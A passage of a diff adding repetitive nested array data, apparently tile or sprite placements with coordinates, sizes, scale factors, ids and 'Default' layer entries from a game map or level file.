+ 0,
+ []
+ ],
+ 485,
+ 5396,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4898.23779296875,
+ -119.0951843261719,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5397,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4976.23779296875,
+ -119.0951843261719,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5398,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5054.23779296875,
+ -41.09518432617188,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5399,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5132.23779296875,
+ -41.09518432617188,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5400,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4898.23779296875,
+ -40.09518432617188,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5401,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4976.23779296875,
+ -40.09518432617188,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5402,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5366.47509765625,
+ 427.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5403,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5444.47509765625,
+ 427.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5404,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5210.47509765625,
+ 427.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5405,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5288.47509765625,
+ 427.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5406,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5366.47509765625,
+ 505.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5407,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5444.47509765625,
+ 505.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5408,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5210.47509765625,
+ 506.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5409,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5288.47509765625,
+ 506.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5410,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5366.47509765625,
+ 271.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5411,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5444.47509765625,
+ 271.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5412,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5210.47509765625,
+ 271.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5413,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5288.47509765625,
+ 271.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5414,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5366.47509765625,
+ 349.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5415,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5444.47509765625,
+ 349.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5416,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5210.47509765625,
+ 350.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5417,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5288.47509765625,
+ 350.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5418,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5366.47509765625,
+ 114.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5419,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5444.47509765625,
+ 114.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5420,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5210.47509765625,
+ 114.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5421,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5288.47509765625,
+ 114.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5422,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5366.47509765625,
+ 192.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5423,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5444.47509765625,
+ 192.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5424,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5210.47509765625,
+ 193.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5425,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5288.47509765625,
+ 193.9656677246094,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5426,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5366.47509765625,
+ -42.03433227539063,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5427,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5444.47509765625,
+ -42.03433227539063,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5428,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5210.47509765625,
+ -42.03433227539063,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5429,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5288.47509765625,
+ -42.03433227539063,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5430,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5366.47509765625,
+ 35.96566772460938,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5431,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5444.47509765625,
+ 35.96566772460938,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5432,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5210.47509765625,
+ 36.96566772460938,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5433,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5288.47509765625,
+ 36.96566772460938,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5434,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5681,
+ 506,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5435,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5759,
+ 506,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5436,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5525,
+ 506,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5437,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5603,
+ 506,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5438,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5681,
+ 584,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5439,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5759,
+ 584,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5440,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5525,
+ 585,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5441,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5603,
+ 585,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5442,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5681,
+ 350,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5443,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5759,
+ 350,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5444,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5525,
+ 350,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5445,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5603,
+ 350,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5446,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5681,
+ 428,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5447,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5759,
+ 428,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5448,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5525,
+ 429,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5449,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5603,
+ 429,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5450,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5681,
+ 193,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5451,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5759,
+ 193,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5452,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5525,
+ 193,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5453,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5603,
+ 193,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5454,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5681,
+ 271,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5455,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5759,
+ 271,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5456,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5525,
+ 272,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5457,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5603,
+ 272,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5458,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5681,
+ 36,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5459,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5759,
+ 36,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5460,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5525,
+ 36,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5461,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5603,
+ 36,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5462,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5681,
+ 114,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5463,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5759,
+ 114,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5464,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5525,
+ 115,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5465,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5603,
+ 115,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5466,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5883,
+ 1018,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 1360,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5883,
+ 1110,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
+ 5467,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5973,
+ 1018,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 5468,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6063,
+ 1018,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 5469,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5973,
+ 1110,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
+ 5470,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6063,
+ 1110,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
+ 5471,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5883,
+ 1202,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 5472,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5974,
+ 1202,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 5473,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6064,
+ 1202,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 5474,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5884,
+ 1294,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 5475,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5973,
+ 1294,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 5476,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6063,
+ 1294,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 5477,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5993,
+ 584,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5478,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6071,
+ 584,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5479,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5837,
+ 585,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5480,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5915,
+ 585,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5481,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5914,
+ 506,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5482,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5992,
+ 506,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5483,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5836,
+ 506,
+ 0,
+ 86,
